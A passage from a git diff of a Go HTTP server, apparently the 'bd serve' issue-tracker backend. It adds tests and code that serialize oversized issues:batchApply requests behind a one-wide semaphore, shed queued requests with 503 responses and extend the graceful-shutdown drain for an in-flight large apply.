func(s *Server) { + s.sem = make(chan struct{}, 2) // a small general pool, easy to saturate + s.semTimeout = 200 * time.Millisecond + }) + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + holderDone := make(chan claimResult, 1) + go func() { holderDone <- ts.claimAsync(bigBody) }() + waitForCallCount(t, applier, 1) + + // Saturate the tuned general sem with requests that will each queue + // behind the held large-apply slot. + queuedDone := make(chan claimResult, 2) + for i := 0; i < 2; i++ { + go func() { queuedDone <- ts.claimAsync(bigBody) }() + } + + // Each queued request must be SHED — 503 busy — well inside a few + // multiples of the tuned semTimeout, not held open indefinitely. Before + // the fix (an unbounded select on ctx.Done() alone) this never returns, + // and the loop below times out instead — the "failing before, passing + // after" reproduction the fix is checked against. + for i := 0; i < 2; i++ { + select { + case res := <-queuedDone: + if res.err != nil { + t.Fatalf("queued large request %d transport error: %v", i, res.err) + } + if res.resp.StatusCode != http.StatusServiceUnavailable { + t.Errorf("queued large request %d status = %d, want 503 busy: %s", i, res.resp.StatusCode, readAll(t, res.resp)) + } else if ra := res.resp.Header.Get("Retry-After"); ra == "" { + t.Errorf("queued large request %d carries no Retry-After header", i) + } + case <-time.After(2 * time.Second): + t.Fatalf("queued large request %d never gave up the general sem slot it held while parked on the large-apply lock — this is the starvation bug", i) + } + } + + // Both queued requests gave their sem slots back. A fresh, ordinary small + // request must be served promptly — the general sem must not still be + // exhausted by requests that gave up on the large-apply lock but never + // released it. + start := time.Now() + smallResp := ts.claim(t, batchApplyPath, createItemsBody("carol", 1)) + if smallResp.StatusCode != http.StatusOK { + t.Fatalf("small request after the queue cleared status = %d, want 200: %s", smallResp.StatusCode, readAll(t, smallResp)) + } + if elapsed := time.Since(start); elapsed > time.Second { + t.Errorf("small request after the queue cleared took %s, want well under a second", elapsed) + } +} + +// TestLargeApplyBurstNeverStarvesSmallRequestsForSemTimeout is item 1 of the +// coordinator's second review: a BOUNDED wait for largeApplySem is not +// enough on its own. Every large request that queues for the slot still +// holds its OWN general sem slot for the whole wait (route() acquires sem +// before the handler runs), so a burst of large requests could occupy a +// semTimeout's worth of general concurrency slots merely queueing — even +// though only one of them could ever win the large-apply slot — starving +// small requests behind a saturated sem for that entire window. +// +// The fix caps the number of WAITERS at one: everything beyond the request +// already holding largeApplySem and the one already queued behind it is +// refused immediately (ErrBusy, no wait, no sem slot held for it). This test +// pins the OBSERABLE consequence directly: with a small general sem pool and +// a semTimeout long enough that the old bounded-but-unbounded-waiter-count +// behavior would visibly stall small requests, 16 concurrent large requests +// racing 8 concurrent small ones must never make a small request wait on the +// large-apply contention at all — each small one completes in well under a +// second, not "eventually, once a wait times out" (semTimeout, 5s). The bound +// is a stall detector, not a latency benchmark: a small request can still +// queue briefly behind the refused large requests, each holding a general sem +// slot while its body decodes, and under -race on a loaded 4-vCPU CI runner +// that measured ~160ms. +func TestLargeApplyBurstNeverStarvesSmallRequestsForSemTimeout(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + gateClosed := false + defer func() { + if !gateClosed { + close(applier.gate) + } + }() + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), func(s *Server) { + s.sem = make(chan struct{}, 4) // small general pool: easy to saturate if waiters pile up + s.semTimeout = 5 * time.Second // long enough that an old-style multi-waiter stall would be obvious + }) + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + + const numBig = 16 + bigDone := make(chan claimResult, numBig) + for i := 0; i < numBig; i++ { + go func() { bigDone <- ts.claimAsync(bigBody) }() + } + // Let the first big request actually take the slot and start running + // (blocked on the gate) before firing the small requests, so the small + // requests race real large-apply contention, not just a cold start. + waitForCallCount(t, applier, 1) + + const numSmall = 8 + type smallResult struct { + claimResult + elapsed time.Duration + } + smallDone := make(chan smallResult, numSmall) + for i := 0; i < numSmall; i++ { + go func(i int) { + start := time.Now() + res := ts.claimAsync(createItemsBody(fmt.Sprintf("small-%d", i), 1)) + smallDone <- smallResult{claimResult: res, elapsed: time.Since(start)} + }(i) + } + + for i := 0; i < numSmall; i++ { + select { + case res := <-smallDone: + if res.err != nil { + t.Fatalf("small request transport error: %v", res.err) + } + if res.resp.StatusCode != http.StatusOK { + t.Errorf("small request status = %d, want 200: %s", res.resp.StatusCode, readAll(t, res.resp)) + } + if res.elapsed > time.Second { + t.Errorf("small request took %s, want well under a second: a waiter for the large-apply slot must never hold a general sem slot long enough to stall a small request", res.elapsed) + } + case <-time.After(2 * time.Second): + t.Fatalf("small request %d never completed — this is the starvation bug item 1 fixes", i) + } + } + + // Drain every big request so the test can exit cleanly: exactly one runs + // (blocked on the gate) at a time, at most one more ever queues and then + // wins the slot once the first releases, and the rest are refused + // immediately. Closing (rather than sending once) unblocks every request + // that is, or will be, parked on the gate, however many turns it takes + // the single-waiter slot to cycle through. + close(applier.gate) + gateClosed = true + for i := 0; i < numBig; i++ { + select { + case <-bigDone: + case <-time.After(3 * time.Second): + t.Fatalf("big request %d never returned", i) + } + } +} + +// TestDrainWaitsForInFlightLargeApplyButRefusesAQueuedOne is the graceful- +// shutdown story: a large apply already holding the slot when shutdown +// begins is waited out and its commit lands; a second one still queued for +// the slot when s.closing fires is refused (503 busy) rather than extending +// the drain further or being force-killed. +func TestDrainWaitsForInFlightLargeApplyButRefusesAQueuedOne(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + stdout := &strings.Builder{} + stderr := &lockedBuffer{} + srv, err := Listen(rolesConfig(Config{ + BatchApplier: applier, + Addr: "127.0.0.1:0", + Stdout: stdout, + Stderr: stderr, + LargeApplyCeiling: time.Minute, + })) + if err != nil { + t.Fatalf("Listen: %v", err) + } + // Long enough that s.closing, not the timer, is what refuses the queued + // request below. + srv.semTimeout = 5 * time.Second + + ctx, cancel := context.WithCancel(context.Background()) + serveDone := make(chan error, 1) + go func() { serveDone <- srv.Serve(ctx) }() + + ts := &testServer{Server: srv, client: &http.Client{Timeout: 20 * time.Second}, base: "http://" + srv.Addr()} + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + holderDone := make(chan claimResult, 1) + go func() { holderDone <- ts.claimAsync(bigBody) }() + waitForCallCount(t, applier, 1) + + queuedDone := make(chan claimResult, 1) + go func() { queuedDone <- ts.claimAsync(bigBody) }() + // Give the queued request time to reach acquireLargeApply's bounded wait + // before shutdown begins; decoding a small fixed body is fast enough that + // a short fixed sleep is the simplest synchronization here, matching this + // file's other fixed-delay waits. + time.Sleep(100 * time.Millisecond) + + cancel() // begin graceful shutdown with the first in flight, the second queued + + select { + case res := <-queuedDone: + if res.err != nil { + t.Fatalf("queued large request transport error: %v", res.err) + } + if res.resp.StatusCode != http.StatusServiceUnavailable { + t.Errorf("queued request during drain status = %d, want 503 busy: %s", res.resp.StatusCode, readAll(t, res.resp)) + } + case <-time.After(3 * time.Second): + t.Fatal("the queued large request was not refused once shutdown began") + } + + // The in-flight one must be waited out, not cut off: let it finish now. + close(applier.gate) + + select { + case res := <-holderDone: + if res.err != nil { + t.Fatalf("in-flight large request transport error: %v", res.err) + } + if res.resp.StatusCode != http.StatusOK { + t.Errorf("in-flight large request status during drain = %d, want 200: %s", res.resp.StatusCode, readAll(t, res.resp)) + } + case <-time.After(5 * time.Second): + t.Fatal("the in-flight large request never completed during drain") + } + + select { + case err := <-serveDone: + if err != nil { + t.Fatalf("Serve: %v", err) + } + case <-time.After(30 * time.Second): + t.Fatal("Serve did not return after shutdown") + } + + log := stderr.String() + if !strings.Contains(log, "event=shutdown_complete") { + t.Errorf("shutdown did not complete cleanly:\n%s", log) + } + if strings.Contains(log, "event=shutdown_forced") { + t.Errorf("shutdown was forced rather than completing the drain:\n%s", log) + } + if got := applier.callCount(); got != 1 { + t.Errorf("ApplyBatch call count = %d, want 1 (the queued request must never have reached the role)", got) + } +} + +// TestServeExtendsDrainPastAFixedFloorForAnInFlightLargeApply is item 3 of +// the coordinator's second review: TestDrainWaitsForInFlightLargeApplyButRefusesAQueuedOne +// above exercises the real Serve() path, but the in-flight large apply there +// is released within a couple hundred milliseconds of shutdown starting — far +// under even the OLD fixed drainTimeout constant (20s) — so a mutation +// reverting Serve to always drain for a fixed floor, ignoring +// drainBudget's extension for an in-flight large apply's own remaining +// deadline, would still pass it undetected. +// +// This test shrinks the floor (Server.drainTimeout) to something a unit test +// can afford to actually exceed, holds a large apply past that shrunk floor +// but still well under its own extended deadline, and asserts Serve waits it +// out rather than force-killing the connection: proof the extension is wired +// into Serve's real drain, not just correct in the drainBudget helper. +func TestServeExtendsDrainPastAFixedFloorForAnInFlightLargeApply(t *testing.T) { + const shrunkFloor = 150 * time.Millisecond + const heldPastFloor = 600 * time.Millisecond // several floors, still << the ceiling below + const ceiling = 5 * time.Second + + applier := &controlledApplier{gate: make(chan struct{})} + stdout := &strings.Builder{} + stderr := &lockedBuffer{} + srv, err := Listen(rolesConfig(Config{ + BatchApplier: applier, + Addr: "127.0.0.1:0", + Stdout: stdout, + Stderr: stderr, + LargeApplyCeiling: ceiling, + })) + if err != nil { + t.Fatalf("Listen: %v", err) + } + srv.drainTimeout = shrunkFloor + + ctx, cancel := context.WithCancel(context.Background()) + serveDone := make(chan error, 1) + go func() { serveDone <- srv.Serve(ctx) }() + + ts := &testServer{Server: srv, client: &http.Client{Timeout: 20 * time.Second}, base: "http://" + srv.Addr()} + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + holderDone := make(chan claimResult, 1) + go func() { holderDone <- ts.claimAsync(bigBody) }() + waitForCallCount(t, applier, 1) + + cancel() // begin graceful shutdown with the large apply in flight + + // Release the gate well past shrunkFloor. If Serve used the fixed floor + // instead of drainBudget's extension, Shutdown's drainCtx would have + // expired by now and forced the connection closed already. + time.Sleep(heldPastFloor) + close(applier.gate) + + select { + case res := <-holderDone: + if res.err != nil { + t.Fatalf("in-flight large request transport error (a fixed-floor drain would force-kill this connection before releasing the gate above): %v", res.err) + } + if res.resp.StatusCode != http.StatusOK { + t.Errorf("in-flight large request status = %d, want 200: %s", res.resp.StatusCode, readAll(t, res.resp)) + } + case <-time.After(5 * time.Second): + t.Fatal("the in-flight large request never completed during drain") + } + + select { + case err := <-serveDone: + if err != nil { + t.Fatalf("Serve: %v", err) + } + case <-time.After(10 * time.Second): + t.Fatal("Serve did not return after shutdown") + } + + log := stderr.String() + if !strings.Contains(log, "event=shutdown_complete") { + t.Errorf("shutdown did not complete cleanly:\n%s", log) + } + if strings.Contains(log, "event=shutdown_forced") { + t.Errorf("shutdown was forced rather than extending the drain past the shrunk floor for the in-flight large apply:\n%s", log) + } +} + +// TestDrainBudget pins drainBudget's extension behavior directly, without +// paying for a real multi-second wait: no large apply in flight drains in +// exactly drainTimeout; one in flight with a deadline further out than +// drainTimeout EXTENDS the budget to that deadline; one with a deadline +// closer than drainTimeout (e.g. it is nearly done) never SHRINKS the budget +// below drainTimeout. +func TestDrainBudget(t *testing.T) { + farFuture := time.Now().Add(time.Hour) + nearFuture := time.Now().Add(time.Second) + + cases := []struct { + name string + dl *time.Time + want time.Duration + }{ + {"no large apply in flight", nil, drainTimeout}, + {"large apply deadline far past drainTimeout", &farFuture, time.Until(farFuture) + drainGrace}, + {"large apply deadline closer than drainTimeout", &nearFuture, drainTimeout}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := drainBudget(drainTimeout, tc.dl) + const slack = 2 * time.Second + if got < tc.want-slack || got > tc.want+slack { + t.Errorf("drainBudget(%v) = %s, want ~%s", tc.dl, got, tc.want) + } + }) + } +} + +// deadlineCapturingApplier records the ctx.Deadline() each call actually +// received, and whether that ctx carried issueops' extended-retry-budget +// marker, so an HTTP-level test can check what budget handleApplyBatch handed +// the role without a real backend or a sleep-based race. +type deadlineCapturingApplier struct { + mu sync.Mutex + deadlines []time.Time + marked []bool +} + +func (d *deadlineCapturingApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBatchRequest) (issueops.ApplyBatchResult, error) { + dl, _ := ctx.Deadline() + d.mu.Lock() + d.deadlines = append(d.deadlines, dl) + d.marked = append(d.marked, issueops.HasExtendedRetryBudget(ctx)) + d.mu.Unlock() + return issueops.ApplyBatchResult{Items: make([]issueops.ItemResult, len(req.Items))}, nil +} + +func (d *deadlineCapturingApplier) lastMarked(t *testing.T) bool { + t.Helper() + d.mu.Lock() + defer d.mu.Unlock() + if len(d.marked) == 0 { + t.Fatal("ApplyBatch was never called") + } + return d.marked[len(d.marked)-1] +} + +func (d *deadlineCapturingApplier) last(t *testing.T) time.Time { + t.Helper() + d.mu.Lock() + defer d.mu.Unlock() + if len(d.deadlines) == 0 { + t.Fatal("ApplyBatch was never called") + } + return d.deadlines[len(d.deadlines)-1] +} + +// TestApplyBatchDeadlineAtItemCounts pins which budget governs the context +// the role actually receives at each side of largeApplyItemThreshold: EXACTLY +// requestDeadline (60s) at and under the threshold — route()'s own +// unconditional deadline, untouched by anything in this file — and EXACTLY +// the configured largeApplyCeiling above it, never a value scaled by item +// count. A distinctive, non-default ceiling is configured so a test passing +// by coincidence against a hardcoded production constant is not possible. +func TestApplyBatchDeadlineAtItemCounts(t *testing.T) { + const testCeiling = 17 * time.Second + applier := &deadlineCapturingApplier{} + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), func(s *Server) { + s.largeApplyCeiling = testCeiling + }) + + cases := []struct { + name string + items int + want time.Duration + }{ + {"at threshold (100)", largeApplyItemThreshold, requestDeadline}, + {"just over threshold (101)", largeApplyItemThreshold + 1, testCeiling}, + {"500", 500, testCeiling}, + {"at cap (1000)", issueops.MaxApplyBatchItems, testCeiling}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + start := time.Now() + resp := ts.claim(t, batchApplyPath, createItemsBody("alice", tc.items)) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := applier.last(t).Sub(start) + const slack = 5 * time.Second + if got < tc.want-slack || got > tc.want+slack { + t.Errorf("%d items: applier's ctx budget = %s, want ~%s", tc.items, got, tc.want) + } + }) + } +} + +// TestApplyBatchDeadlineExceedsTheOrdinaryRequestDeadlineWhenConfiguredTo is +// item 7's large-run-ctx sub-bullet: TestApplyBatchDeadlineAtItemCounts above +// configures testCeiling = 17s, which is BELOW requestDeadline (60s) — so a +// mutation that narrows the large-apply run context to +// min(largeApplyCeiling, requestDeadline), or otherwise lets route()'s +// ordinary 60s deadline leak into the detached run context, would produce the +// exact same 17s result and pass undetected. A ceiling ABOVE requestDeadline +// is the only configuration that can tell the two apart, so this test uses +// one (97s). +func TestApplyBatchDeadlineExceedsTheOrdinaryRequestDeadlineWhenConfiguredTo(t *testing.T) { + const testCeiling = 97 * time.Second + if testCeiling <= requestDeadline { + t.Fatalf("test setup: testCeiling (%s) must exceed requestDeadline (%s) to distinguish an extended budget from a narrowed one", testCeiling, requestDeadline) + } + applier := &deadlineCapturingApplier{} + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), func(s *Server) { + s.largeApplyCeiling = testCeiling + }) + + start := time.Now() + resp := ts.claim(t, batchApplyPath, createItemsBody("alice", largeApplyItemThreshold+1)) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := applier.last(t).Sub(start) + const slack = 5 * time.Second + if got < testCeiling-slack { + t.Errorf("applier's ctx budget = %s, want ~%s: the large apply's own ceiling must not be narrowed to the ordinary %s request deadline", got, testCeiling, requestDeadline) + } +} + +// TestApplyBatchMarksOnlyALargeApplyForTheExtendedRetryBudget pins the seam +// between the two halves of the large-apply retry budget. +// internal/storage/uow's retryTxBudget lets a commit-time conflict keep +// retrying past the ordinary 15s ceiling only when ctx carries +// issueops.WithExtendedRetryBudget's marker, and admitLargeApply is the one +// place that sets it. The uow tests mark their contexts by hand, and the +// deadline tests above never look at the marker, so without this pin the +// extension could be left unwired with every other test green. The case at +// the threshold matters as much as the ones over it: marking an ordinary +// request would raise its retry ceiling from 15s to nearly its whole 60s +// deadline, the regression the marker exists to prevent. +func TestApplyBatchMarksOnlyALargeApplyForTheExtendedRetryBudget(t *testing.T) { + applier := &deadlineCapturingApplier{} + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier})) + + cases := []struct { + name string + items int + want bool + }{ + {"at threshold (100)", largeApplyItemThreshold, false}, + {"just over threshold (101)", largeApplyItemThreshold + 1, true}, + {"at cap (1000)", issueops.MaxApplyBatchItems, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + resp := ts.claim(t, batchApplyPath, createItemsBody("alice", tc.items)) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + if got := applier.lastMarked(t); got != tc.want { + t.Errorf("%d items: issueops.HasExtendedRetryBudget(applier's ctx) = %t, want %t", tc.items, got, tc.want) + } + }) + } +} + +// controlledApplier is a BatchApplier that blocks a call carrying more than +// largeApplyItemThreshold items on a caller-controlled gate, so an HTTP-level +// test can prove the semaphore serializes oversized requests without a real +// backend or a sleep-based race. +type controlledApplier struct { + mu sync.Mutex + calls []int // len(req.Items), one entry per call, in arrival order + + gate chan struct{} // closed to release every big call waiting on it +} + +func (c *controlledApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBatchRequest) (issueops.ApplyBatchResult, error) { + c.mu.Lock() + c.calls = append(c.calls, len(req.Items)) + c.mu.Unlock() + if len(req.Items) > largeApplyItemThreshold { + select { + case <-c.gate: + case <-ctx.Done(): + return issueops.ApplyBatchResult{}, ctx.Err() + } + } + return issueops.ApplyBatchResult{Items: make([]issueops.ItemResult, len(req.Items))}, nil +} + +func (c *controlledApplier) callCount() int { + c.mu.Lock() + defer c.mu.Unlock() + return len(c.calls) +} + +// createItemsBody builds a minimal valid ApplyBatchRequest body with n create +// items, for a test that only cares about item COUNT, not content. +func createItemsBody(actor string, n int) string { + items := make([]string, n) + for i := range items { + items[i] = fmt.Sprintf(`{"kind":"create","create":{"title":"t-%d"}}`, i) + } + return fmt.Sprintf(`{"actor":%q,"items":[%s]}`, actor, strings.Join(items, ",")) +} + +// TestLargeApplySemaphoreBoundaryIsInclusiveOfThreshold pins the exact +// largeApplyItemThreshold boundary: a request carrying EXACTLY the threshold +// must never touch largeApplySem at all, even while another request holds it +// — it must complete immediately rather than queuing. One item more must +// queue behind it. This is the `>` (not `>=`) comparison in handleApplyBatch, +// pinned directly: mutating it to `>=` makes the boundary case above block +// and fail this test. +func TestLargeApplySemaphoreBoundaryIsInclusiveOfThreshold(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), func(s *Server) { + s.semTimeout = 200 * time.Millisecond + }) + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + holderDone := make(chan claimResult, 1) + go func() { holderDone <- ts.claimAsync(bigBody) }() + waitForCallCount(t, applier, 1) + + exactBody := createItemsBody("bob", largeApplyItemThreshold) + start := time.Now() + resp := ts.claim(t, batchApplyPath, exactBody) + elapsed := time.Since(start) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + if elapsed > 100*time.Millisecond { + t.Errorf("a %d-item request took %s while the large-apply slot was held; it must not wait on it", largeApplyItemThreshold, elapsed) + } + + close(applier.gate) + res := <-holderDone + if res.err != nil { + t.Fatalf("large request transport error: %v", res.err) + } + if res.resp.StatusCode != http.StatusOK { + t.Fatalf("large request status = %d, want 200: %s", res.resp.StatusCode, readAll(t, res.resp)) + } +} + +// TestLargeApplyRequestsSerializeOverHTTP is the end-to-end version of +// TestAcquireLargeApplySerializesOneAtATime: two concurrent requests each +// carrying more than largeApplyItemThreshold items must not run inside +// ApplyBatch at the same time, while a concurrent SMALL (<=threshold) request +// is never made to wait behind either of them. +func TestLargeApplyRequestsSerializeOverHTTP(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier})) + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + smallBody := createItemsBody("bob", 5) + + firstDone := make(chan claimResult, 1) + go func() { firstDone <- ts.claimAsync(bigBody) }() + + // Wait for the first big request to actually enter ApplyBatch (holding + // the semaphore) before starting the second. + waitForCallCount(t, applier, 1) + + secondDone := make(chan claimResult, 1) + go func() { secondDone <- ts.claimAsync(bigBody) }() + + // The second big request must NOT reach ApplyBatch while the first still + // holds the slot: it blocks in acquireLargeApply instead. + select { + case res := <-secondDone: + t.Fatalf("the second large request completed before the first (status=%v err=%v) — the large-write semaphore did not serialize them", statusOf(res), res.err) + case <-time.After(50 * time.Millisecond): + } + if got := applier.callCount(); got != 1 { + t.Fatalf("ApplyBatch call count while the first large request is held = %d, want 1: the second must not have reached the role yet", got) + } + + // A concurrent SMALL request is unaffected by the in-flight large one: it + // must complete promptly rather than queue behind the semaphore it never + // touches. + smallResp := ts.claim(t, batchApplyPath, smallBody) + if smallResp.StatusCode != http.StatusOK { + t.Fatalf("small concurrent request status = %d, want 200: %s", smallResp.StatusCode, readAll(t, smallResp)) + } + + // Release the gate: both big calls (the first already inside ApplyBatch, + // the second still queued on the semaphore) can now finish in turn. + close(applier.gate) + + for i, ch := range []chan claimResult{firstDone, secondDone} { + select { + case res := <-ch: + if res.err != nil { + t.Errorf("large request %d transport error: %v", i, res.err) + continue + } + if res.resp.StatusCode != http.StatusOK { + t.Errorf("large request %d status = %d, want 200: %s", i, res.resp.StatusCode, readAll(t, res.resp)) + } + case <-time.After(5 * time.Second): + t.Fatalf("large request %d never completed after the gate opened", i) + } + } + + if got := applier.callCount(); got != 3 { + t.Fatalf("total ApplyBatch calls = %d, want 3 (two large, one small)", got) + } +} + +// waitForCallCount polls until applier has recorded at least n calls or the +// test's patience runs out. Used only to synchronize a goroutine with the +// point where a handler has entered the role, not to assert timing. +func waitForCallCount(t *testing.T, applier *controlledApplier, n int) { + t.Helper() + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if applier.callCount() >= n { + return + } + time.Sleep(time.Millisecond) + } + t.Fatalf("ApplyBatch was not called %d time(s) within the wait window (got %d)", n, applier.callCount()) +} + +// claimResult carries an HTTP response or a transport error, so a goroutine +// can report either back to the test goroutine over a channel. Go testing +// disallows t.Fatal/t.Fatalf (and every other *testing.T failure method) from +// any goroutine but the one running the test function — no amount of internal +// serialization inside *testing.T changes that — so a helper meant to be +// called from a spawned goroutine must never call one, which is why this type +// exists and why claimAsync below reports through it instead. +type claimResult struct { + resp *http.Response + err error +} + +// statusOf reports a claimResult's status code, or -1 for a transport error, +// for a failure message that needs to read one without risking a nil +// dereference. +func statusOf(r claimResult) int { + if r.resp == nil { + return -1 + } + return r.resp.StatusCode +} + +// claimAsync is ts.claim's non-fatal twin: safe to call from any goroutine, +// because it never calls a *testing.T method. A caller reads the returned +// claimResult back on the TEST goroutine and fails there if it carries an +// error. +func (ts *testServer) claimAsync(body string) claimResult { + req, err := http.NewRequest(http.MethodPost, ts.base+batchApplyPath, strings.NewReader(body)) + if err != nil { + return claimResult{err: fmt.Errorf("new request: %w", err)} + } + req.Header.Set("Content-Type", "application/json") + resp, err := ts.client.Do(req) + if err != nil { + return claimResult{err: fmt.Errorf("POST %s: %w", batchApplyPath, err)} + } + return claimResult{resp: resp} +} diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 50b5ad53f..acc417999 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -39,6 +39,26 @@ const ProjectIDHeader = "Bd-Project-Id" // instead of discovering an older server silently ignored its stamp. const CapProjectEnforce = "project.enforce" +// CapBatchApplyLarge is the behavior capability that advertises the raised +// issues:batchApply envelope: up to issueops.MaxApplyBatchItems (1000) +// items, a maxApplyBatchBodyBytes (16 MiB) body, and — for a request over +// largeApplyItemThreshold items — an EXTENDED, operator-configurable run +// budget (Server.largeApplyCeiling, batch_apply.go / server.go) on top of +// the ordinary requestDeadline every request already gets; see +// Server.acquireLargeApply for how that budget is built and why it never +// narrows a small request's deadline. +// +// This token names all three limits together, and +// TestCapBatchApplyLargeTiesAllThreeLimits pins that: a build that lowers +// one of the three without removing this token would advertise an envelope +// it does not actually honor. Like CapProjectEnforce it names a server-wide +// BEHAVIOR rather than a route — issues.batchApply itself is already the +// per-operation token — so an older client that checks capabilities before +// sending an over-100-item plan can tell whether THIS server accepts it +// before it dials, rather than discovering a 400 only after paying for the +// round trip an old server would refuse anyway. +const CapBatchApplyLarge = "issues.batchApplyLarge" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -480,8 +500,18 @@ var routeTable = []route{ // ordered plan of four verbs whose items may reference each other — and a // flag on that operation would have made one operationId carrying two // contracts, two request schemas and two result shapes. - pattern: "/v0/beads/issues:batchApply", - capability: "issues.batchApply", + pattern: "/v0/beads/issues:batchApply", + capability: "issues.batchApply", + // This row carries NO maxDeadline: route() gives every request here + // the same unconditional requestDeadline (60s) every other route + // gets, so a request at or under largeApplyItemThreshold items runs + // under EXACTLY the deadline it always has. A request that crosses + // the threshold gets a whole separate, EXTENDED budget — + // s.largeApplyCeiling, an operator flag defaulting to 5 minutes — + // built fresh the moment it acquires the one-wide large-apply slot + // (Server.acquireLargeApply, server.go). See issues.batchApplyLarge + // (CapBatchApplyLarge) below, the token that advertises this + // envelope exists. implemented: true, handler: (*Server).handleApplyBatch, }, @@ -748,7 +778,7 @@ func (r route) specPathOf() string { // route. project.enforce announces per-request Bd-Project-Id enforcement // (checkProjectStamp): a stamped client reads it to know the refusal is available // rather than silently dropped by an older server. -var behaviorCapabilities = []string{CapProjectEnforce} +var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge} // Capabilities lists what this build advertises in ContextResponse.capabilities: // the operations it actually implements, gated on `implemented` so a stub can diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index b07fcd920..dfdff48f6 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -47,6 +47,20 @@ const ( // maxInflight bounds handlers that touch the database. Every unit of work // pins one SQL connection, so this is also the steady-state connection // count. + // + // It also bounds a request body's decode memory, worst case: every + // inflight slot is free to decode a full maxApplyBatchBodyBytes body + // concurrently before either the large-apply semaphore or anything else + // narrows it further, so the raw-bytes ceiling for POST issues:batchApply + // alone is maxInflight * maxApplyBatchBodyBytes (16 * 16 MiB = 256 MiB at + // today's defaults), and the decoded Go structures (strings, maps, slices + // of *CreateItem etc.) cost a further multiple of that on top — operators + // sizing this process's memory limit should budget for it. This is not + // actively capped narrower than maxInflight itself: only one of those + // concurrent decodes can go on to hold the one-wide large-apply slot + // (acquireLargeApply), so a decode that loses the race is refused with + // ErrBusy and its now-unreferenced ApplyBatchRequest is left for the next + // GC cycle — nothing in this file extends its lifetime past that refusal. maxInflight = 16 // maxConns bounds ACCEPTED connections. The semaphore does not: Go spawns // a goroutine per connection, and one parked on a full semaphore still @@ -70,8 +84,29 @@ const ( // the commit, so a graceful shutdown does not kill a connection whose write // may already have landed. drainTimeout = 20 * time.Second + // drainGrace is added on top of an in-flight large apply's own remaining + // deadline when extending the drain budget, so the response has time to + // be written back to the client after that apply's transaction commits + // right at its deadline, instead of the drain ending the instant the + // deadline is reached. + drainGrace = 5 * time.Second // uowCloseTimeout bounds the DETACHED close described on WithUOW. uowCloseTimeout = 5 * time.Second + // DefaultLargeApplyCeiling is Config.LargeApplyCeiling's default: the + // whole-run budget a POST issues:batchApply request over + // largeApplyItemThreshold items gets once it holds the one-wide + // large-apply slot (acquireLargeApply). It is an operator-configurable + // CEILING rather than a per-request formula — every request that clears + // the threshold gets this whole budget from the moment it acquires the + // slot, whether it carries 101 items or 1000, because scaling it down for + // a request well under the envelope's top end would narrow a caller's + // budget for a reason unrelated to what it actually sent. + // + // It is exported so `bd serve --large-apply-ceiling` defaults to this + // same value instead of repeating it: bd serve always passes a positive + // ceiling, so a second literal there, not this constant, would be the + // default every bd serve deployment actually runs with. + DefaultLargeApplyCeiling = 5 * time.Minute ) // Pool limits for the provider's *sql.DB. The semaphore bounds handlers, not @@ -135,6 +170,26 @@ type Config struct { // service DNS name, which the rebinding defense would otherwise refuse; // see newHostPolicy. Empty leaves today's policy exactly as it was. AllowedHosts []string + // LargeApplyCeiling bounds how long POST /v0/beads/issues:batchApply may + // hold a write transaction for a request over largeApplyItemThreshold + // items (batch_apply.go). Zero takes DefaultLargeApplyCeiling (5 + // minutes). It is wired to `bd serve --large-apply-ceiling`. + // + // It is a CEILING, not a target — see DefaultLargeApplyCeiling for why + // every request over the threshold gets the whole budget rather than a + // value scaled to its item count. Raising or lowering it is an + // operational decision, not a wire change: it does not move + // largeApplyItemThreshold, maxApplyBatchBodyBytes or + // issueops.MaxApplyBatchItems, which is why TestCapBatchApplyLargeTiesAllThreeLimits + // exists — a build that lowers this without also removing the + // issues.batchApplyLarge capability token would otherwise advertise a + // budget it no longer honors. + // + // The orchestrator's stop grace must be at least this long plus + // drainGrace (5s): Serve's drain extends its budget to an in-flight large + // apply's remaining deadline plus drainGrace, but a SIGKILL from outside + // this process does not consult it. See engdocs/SERVE_RUNBOOK.md. + LargeApplyCeiling time.Duration // Provider is where every database-touching handler opens its one unit of // work per request. Provider uow.UnitOfWorkProvider @@ -381,17 +436,67 @@ type Server struct { // sem bounds handlers that touch the database. Buffered channel rather // than sync.Semaphore so the acquisition can select on a timer. sem chan struct{} + // largeApplySem is the ONE-WIDE "large write" semaphore: a POST + // issues:batchApply request carrying more than largeApplyItemThreshold + // items holds this slot for the whole call, so at most one oversized + // batch-apply transaction runs at a time no matter how many ordinary + // requests sem admits concurrently. It is separate from sem (which + // bounds ALL database-touching handlers) because the two answer + // different questions: sem is "how many handlers may run", this is "how + // many may 